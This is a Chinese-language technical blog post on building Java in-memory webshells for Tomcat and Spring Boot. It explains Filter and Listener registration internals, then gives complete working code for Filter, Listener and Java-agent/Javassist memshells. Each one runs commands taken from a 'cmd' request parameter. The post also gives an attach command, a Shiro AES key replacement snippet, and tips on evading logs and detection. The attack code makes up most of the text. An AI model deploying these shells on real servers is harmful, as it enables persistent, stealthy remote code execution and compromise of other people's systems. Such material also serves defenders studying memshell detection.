Java内存马
本文简述作者在学习 Java 内存马中的心得与体会。
Tomcat & Servlet
Tomcat 是一个 web 应用服务器,是一个可以容纳 Servlet 的容器,可以把用户的请求发送给 Servlet 这个组件并把 Servlet 的响应返回给用户,Tomcat 中有四类组件:
- Engine,实现类为
org.apache.catalina.core.StandardEngine
- Host,实现类为
org.apache.catalina.core.StandardHost
- Context,实现类为
org.apache.catalina.core.StandardContext
- Wrapper,实现类为
org.apache.catalina.core.StandardWrapper
可以理解为 Tomcat 收到请求后,通过 Tomcat 转发给 HOST,在进一步的根据后缀不同转发到不同的 Context,而后再转发给不同的 Wrapper ,而每个 Wrapper 实例就具体表示着一个 Servlet 定义(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)。
内存马初探
由于现在防护措施越来越多,Upload 文件 shell 已经成为极易于检测的手段,内存马学习就显得尤为的重要。
内存马的分类:
servlet api 类
spring 框架类
Java Instrumentation 类
filter
概述
Filter 就很类似于我们在 python 内存马中所提到的 before_request & after_request,本质用途是进行一次大接口统一的 filter,以应对类似于统一的过滤和检查。

我们很容易想到 filter 的作用就是在 servlet 前去过滤,那么我们如果能动态创建 filter 并执行恶意代码,就打下了所谓的内存马。
流程分析
我们写一个 filter demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.example.tomcatdemo;
import javax.servlet.*; import java.io.IOException;
public class FilterDemo implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("[FilterDemo] init() - Filter 初始化创建"); System.out.println("[FilterDemo] Filter Name: " + filterConfig.getFilterName()); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("[FilterDemo] doFilter() - 请求进来了,执行过滤操作"); System.out.println("[FilterDemo] 远程地址: " + request.getRemoteAddr());
chain.doFilter(request, response);
System.out.println("[FilterDemo] doFilter() - Servlet 处理完了,响应回来了"); }
@Override public void destroy() { System.out.println("[FilterDemo] destroy() - Filter 被销毁"); } }
|
并在 web.xml 中注册 filter:
1 2 3 4 5 6 7 8
| <filter> <filter-name>filterDemo</filter-name> <filter-class>com.example.tomcatdemo.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping>
|
先梳理一下后面会遇到的几个东西:
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context 接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个 Servlet
首先会通过 ConfigureContext 解析 web.xml 并返回一个 webXml 实例,重点还是在于创建 filterChain:

这里他就创建 filter chain,我们跟进这个方法:

这里就是调用 wrapper.getParent 从 wrapper 获取到 context,然后再从 context 中获取到 FilterMaps,

这里可以看到 FilterMaps 中存放着 filterName 和 urlPattern,然后我们再往下走

发现这里会遍历 FilterMaps 中的 FilterMap,如果当前请求的 url 和 FilterMap 中的 URLPattern 相匹配,就会进入 if 判断调用 context.findFilterConfig 方法在 FilterConfigs 中寻找对应 FilterName 的 FilterConfig,如果不为空那么就 filterChain.addFilter(filterConfig)。

这个函数就比较简单了,就是一个去重 & 添加的过程。
这样的话 FilterChain 就完成了,回到 StandardWrapperValve 这个类中,调用 FilterChain#doFilter 方法.

这个方法其实就是去取出 filter 然后顺次调用 filter#doFilter 方法:

虽然这里记录了 pos 但是实际上不是 while 循环,pos 只是为了记录目前在哪方便回退的时候也调用 filter (根据之前的图)。
做个总结:
通过 URL 从 FilterMaps 中找出与 URL 相对应的 Filter 名称,然后根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig,添加到 FilterChiain 中。
FilterChain 调用 internalDoFilter 遍历获取 FilterConfig,通过 FilterConfig#getFilter 获取 Filter 并调用 Filter#doFilter 方法。
根据上面的总结,不难发现最开始是从 context 中获取 FilterMaps 并顺次调用,那我们可以创建一个 FilterMap 放在数组最前面,匹配的时候就能找到对应的 FilterName.FilterConfig ,添加到 Chain 中,触发shell。
内存马编写
刚才说了需要创建一个 FilterMap 插到 FilterMaps 最前面,那我们先看看怎么获取到的 FilterMaps。
1
| FilterMap[] filterMaps = context.findFilterMaps();
|
我们可以通过这段代码获取到 Standardcontext。
1 2 3 4 5 6 7 8 9
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ppctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
原理就是 Tomcat 其实是采用了 Facade Pattern,外壳是普通 Java 公开的接口,内核才是 servlet 实现的时候具体的接口,而中间是采用着私有变量的形式组合起来的。
获取了 Context 后,我们可以通过修改 Context 的 FilterConfigs、filterDefs、filterMaps,来注入内存马。
流程如下:
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package com.example.tomcatdemo.memshell;
import javax.servlet.DispatcherType; import javax.servlet.ServletContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map;
public class InjectServlet extends HttpServlet {
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/plain; charset=UTF-8"); PrintWriter out = resp.getWriter();
try { ServletContext servletContext = req.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);
Field stdContextField = appContext.getClass().getDeclaredField("context"); stdContextField.setAccessible(true); StandardContext standardContext = (StandardContext) stdContextField.get(appContext);
String filterName = "evilFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(EvilFilter.class.getName()); filterDef.setFilter(new EvilFilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Field configsField = standardContext.getClass().getDeclaredField("filterConfigs"); configsField.setAccessible(true); @SuppressWarnings("unchecked") Map<String, Object> filterConfigs = (Map<String, Object>) configsField.get(standardContext);
Class<?> filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> constructor = filterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); Object filterConfig = constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, filterConfig);
out.println("[+] 内存马注入成功!"); out.println("[+] 测试: 访问任意路径加 ?cmd=whoami");
} catch (Exception e) { out.println("[-] 注入失败: " + e.getMessage()); e.printStackTrace(out); } } }
|
| 名称 |
作用 |
| FilterDef |
定义。记录 Filter 的基本信息和实例。 |
| FilterMap |
路由。记录哪些 URL 路径要经过这个 Filter。 |
| FilterConfig |
运行时状态。将定义好的 Filter 真正激活。 |
jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
|
Listener
概述
Listener 内存马的实现其实就是动态注册一个然后在其中编写恶意方法,这里我们需要弄清楚 Tomcat 中 Listener 的注册流程。
简单编写一个 Listener 项目:

要实现一个 Listener 必须实现一个 EventListener 接口,可以发现有很多接口都继承于这个 EventListener,我们本质上还是需要找到每一个请求都会触发的 Listener,这里我们找到 ServletRequestListener 然后实现它的 requestInitialized 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.example.tomcatdemo;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class ServletListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("DONE!!!"); } }
|
可以发现正常出现了结果:

现在关键的在于,我们能不能动态获取到 servletRequest 这个对象,从而获取到传入的参数。但是和 filter 不同的点在于,doFilter 参数中就含有 servletRequest 和 servletResponse ,而这里它只提供了 ServletRequestEvent 类型的参数。
流程分析
我们可以看到这个方法:

感觉比较靠谱,我们进来调试一下。


其实就是这个类 org.apache.catalina.connector.RequestFacade,它的 Request 变量里就有我们需要的东西,我们反射拿一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.example.tomcatdemo;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.lang.reflect.*;
public class ServletListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) {
System.out.println("DONE!!!"); org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); try { Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); System.out.println(request); }catch (Exception e){ e.printStackTrace(); } } }
|
那直接 RCE 就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package com.example.tomcatdemo;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.io.InputStream; import java.lang.reflect.*;
public class ServletListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) {
String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } }
|
注册流程分析:
我们打断点调试一下,跟进 StandardContext#listenerStart 方法:

这里就是根据 Listener 文字值来进行实例化的:


看一下这个函数:

Listener 的名字就是放在这个数组里的,载入的方式就是从 web.xml 静态加载的,我们更关心动态加载。下面就是遍历 result 分类并加入到 eventListeners 数组中:

这里还会调用 getApplicationEventListeners 方法再获取一次,然后调用 setApplicationEventListeners 设置 Listener,

这个函数感觉就是在套娃,就是相当于赋值:

这里就相当于存入了
触发流程分析:
刚才说了实例化的 Listener 已经被存入 applicationEventListenersList 中了,下面分析触发的流程。


跟一下栈,很容易就发现就在这个函数中遍历了 applicationEventListenersList 数组,然后调用了每个 listener 实例的 requestInitialized 方法。
内存马编写
我们先调用 getApplicationEventListeners 方法将 applicationEventListenersList 取出来,然后将我们构造好的恶意 listener 添加进去就可以了,至于 context 的获取方法在 filter 类内存马中说过这里不再赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%!
class ListenerMemShell implements ServletRequestListener {
@Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) { } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray());
%>
|
Java agent & 内存马
Java agent 简介
javaagent 是一种附加技术,它能够允许 JVM 在加载某个 class 文件之前对其字节码进行修改,同时也支持对已加载的 class 继续宁重新加载(Retransform)。
一个 java agent 实现下面两种任一方法:
- 实现
premain 方法,在 JVM 启动前加载
- 实现
agentmain 方法,在 JVM 启动后加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void agentmain(String agentArgs, Instrumentation inst) { ... }
public static void agentmain(String agentArgs) { ... }
public static void premain(String agentArgs, Instrumentation inst) { ... }
public static void premain(String agentArgs) { ... }
|
这里第一个参数就是 java agent 参数,第二个参数就是 Instrumentation。
注意注意,为了能让主 main 识别到 agent 入口类等原信息,需要补充 pom.xml 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<parent> <groupId>demo</groupId> <artifactId>java-agent-demo</artifactId> <version>1.0-SNAPSHOT</version> </parent>
<artifactId>agent</artifactId> <packaging>jar</packaging>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.4.2</version> <configuration> <archive> <manifestEntries> <Premain-Class>demo.agent.StartupLogAgent</Premain-Class> <Agent-Class>demo.agent.StartupLogAgent</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> </plugin> </plugins> </build> </project>
|
自动编译会:META-INF/MAINFEST.MF(指定 Premain-Class)
1 2 3 4 5 6 7 8 9
| Manifest-Version: 1.0 Created-By: Maven JAR Plugin 3.4.2 Build-Jdk-Spec: 25 Agent-Class: demo.agent.StartupLogAgent Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: demo.agent.StartupLogAgent
|
浅谈 Instrumentation
Instrumentation 是 JVMTIAgent (JVM Tool Interface Agent)的一部分。Java agent 通过这个类(准确来说是接口)和目标JVM进行交互,从而达到修改数据的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public interface Instrumentation { void addTransformer(ClassFileTransformer transformer);
boolean removeTransformer(ClassFileTransformer transformer);
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isModifiableClass(Class<?> theClass);
@SuppressWarnings("rawtypes") Class[] getAllLoadedClasses();
...... }
|
你可以把 Instrumentation 的工作流程理解为:
- 查询: 通过
getAllLoadedClasses 找到目标。
- 评估: 用
isModifiableClass 确认目标能不能动。
- 准备 Transformer: 用
addTransformer 注册你的修改逻辑。
- 执行: 若是新加载的类,JVM 会自动拦截。
- 若是已经在运行的类,手动调用
retransformClasses 触发修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class StartupLogAgent implements ClassFileTransformer { private static final String EDIT_CLASS_NAME = "demo.app.GreetingService"; private static final String EDIT_CLASS_NAME_VM = EDIT_CLASS_NAME.replace('.', '/'); private static final String EDIT_METHOD_NAME = "greet";
public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[Agent] agentmain invoked");
StartupLogAgent transformer = new StartupLogAgent(); inst.addTransformer(transformer, true);
for (Class<?> loadedClass : inst.getAllLoadedClasses()) { if (!EDIT_CLASS_NAME.equals(loadedClass.getName())) { continue; }
if (!inst.isModifiableClass(loadedClass)) { return; }
try { inst.retransformClasses(loadedClass); } catch (UnmodifiableClassException e) { e.printStackTrace(); } return; } }
|
可以发现 addTransformer 方法中,有一个参数是 ClassFileTransformer,它提供了一个 transform 方法:
1 2 3 4 5 6 7 8 9 10
| public interface ClassFileTransformer { default byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { .... } }
|
- 使用
Instrumentation.addTransformer() 来加载一个转换器。
- 转换器的返回结果(
transform() 方法的返回值)将成为转换后的字节码。
- 对于没有加载的类,会使用
ClassLoader.defineClass() 定义它;对于已经加载的类,会使用 ClassLoader.redefineClasses() 重新定义,并配合 Instrumentation.retransformClasses 进行转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (!EDIT_CLASS_NAME_VM.equals(className)) { return null; }
try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined != null) { cp.insertClassPath(new ClassClassPath(classBeingRedefined)); }
CtClass ctc = cp.get(EDIT_CLASS_NAME); if (ctc.isFrozen()) { ctc.defrost(); }
CtMethod method = ctc.getDeclaredMethod(EDIT_METHOD_NAME); String source = "{ return \"Hello, \" + $1 + \"! This message is injected by agentmain.\"; }"; method.setBody(source);
byte[] bytes = ctc.toBytecode(); ctc.detach(); System.out.println("[Agent] transform success"); return bytes; } catch (Exception e) { e.printStackTrace(); return null; } }
|
利用 AgentAttacher :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package demo.attacher;
import com.sun.tools.attach.VirtualMachine;
public class AgentAttacher {
public static void main(String[] args) throws Exception { if (args.length < 2) { System.err.println("Usage: java -jar attacher.jar <pid> <agent-jar-path> [agentArgs]"); System.exit(1); }
String pid = args[0]; String agentJar = args[1]; String agentArgs = args.length > 2 ? args[2] : "from-attach-demo";
System.out.println("[Attacher] attaching to pid " + pid); VirtualMachine vm = VirtualMachine.attach(pid); try { System.out.println("[Attacher] loading agent " + agentJar); vm.loadAgent(agentJar, agentArgs); System.out.println("[Attacher] agent loaded"); } finally { vm.detach(); System.out.println("[Attacher] detached"); } } }
|
利用 Java agent 写 SpringBoot 内存马
先写一个简单的 SpringBoot 项目来分 析 SpringBoot 内存马的构造方式:

直接跟到 internalDoFilter 来:

很明显这里有参数 RequestFacade & ResponseFacade ,就也不用复杂的用 RequestFacade 并通过反射拿 Response 了,直接设置就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package demo.agent;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain;
public class StartupLogAgent implements ClassFileTransformer { private static final String EDIT_CLASS_NAME = "org.apache.catalina.core.ApplicationFilterChain"; private static final String EDIT_CLASS_NAME_VM = EDIT_CLASS_NAME.replace('.', '/'); private static final String EDIT_METHOD_NAME = "doFilter";
public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[Agent] agentmain invoked"); StartupLogAgent transformer = new StartupLogAgent(); inst.addTransformer(transformer, true);
for (Class<?> loadedClass : inst.getAllLoadedClasses()) { if (EDIT_CLASS_NAME.equals(loadedClass.getName())) { if (inst.isModifiableClass(loadedClass)) { try { inst.retransformClasses(loadedClass); System.out.println("[Agent] Target class retransformed: " + EDIT_CLASS_NAME); } catch (UnmodifiableClassException e) { e.printStackTrace(); } } break; } } }
@Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!EDIT_CLASS_NAME_VM.equals(className)) { return null; }
try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined != null) { cp.insertClassPath(new ClassClassPath(classBeingRedefined)); }
CtClass ctc = cp.get(EDIT_CLASS_NAME); if (ctc.isFrozen()) { ctc.defrost(); }
CtMethod method = ctc.getDeclaredMethod(EDIT_METHOD_NAME); String source = "{" + " String cmd = $1.getParameter(\"cmd\");" + " if (cmd != null && !cmd.isEmpty()) {" + " try {" + " java.io.InputStream in = java.lang.Runtime.getRuntime().exec(cmd).getInputStream();" + " java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" + " String output = s.hasNext() ? s.next() : \"\";" + " $2.getWriter().write(output);" + " $2.getWriter().flush();" + " return;" + " } catch (Exception e) {" + " e.printStackTrace();" + " }" + " }" + "}";
method.insertBefore(source);
byte[] bytes = ctc.toBytecode(); ctc.detach(); System.out.println("[Agent] Transform Success: Command injection ready."); return bytes; } catch (Exception e) { e.printStackTrace(); return null; } } }
|
运行:
1
| java -jar attacher/target/attacher-1.0-SNAPSHOT.jar 14924 "C:\Users\Lenovo\Documents\Playground\java-agent-demo\agent\target\agent-1.0-SNAPSHOT.jar" from-attach
|

注意事项:
由于某些中间件(例如nginx)只记录GET请求,使用POST方式发送数据会更加隐蔽。
由于在Filter层过滤了http请求,访问任意的路由都可以执行恶意代码,为了隐蔽性不建议使用不存在的路由。
agent可以注入多个,但是相同类名的 transformer 只能注入一个,所以要再次注入别的 agent 的时候记得更改一下类名。
这种内存马一旦注入到目标程序中,除了重启没有办法直接卸载掉,因为修改掉了原本的类的字节码。它的逻辑只是调用了internalDoFilter()方法(简单来说)。还原就只需要setBody()即可:、
1 2 3 4 5
| { final javax.servlet.ServletRequest req = $1; final javax.servlet.ServletResponse res = $2; $0.internalDoFilter(req,res); }
|
java agent后续其他利用
路由劫持
如果在A的 /login 中使用了 /static/js/1.js,那就可以劫持这个路由,回显给他恶意的js代码。
替换shiro的key
shiro 在解析 rememberMe 的时候,先将其 base64 解码,然后使用 AES 解密,在 AES 解密的时候,会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey(),getDecryptionCipherKey 是一个 getter 方法,它没有复杂的逻辑,通常只是返回一个成员变量,所以直接修改返回值为我们想要的密钥就行。
1 2 3 4 5 6
| public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "doFilter"; ..... String source = "{ return java.util.Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\"); }"; method.setBody(source);
|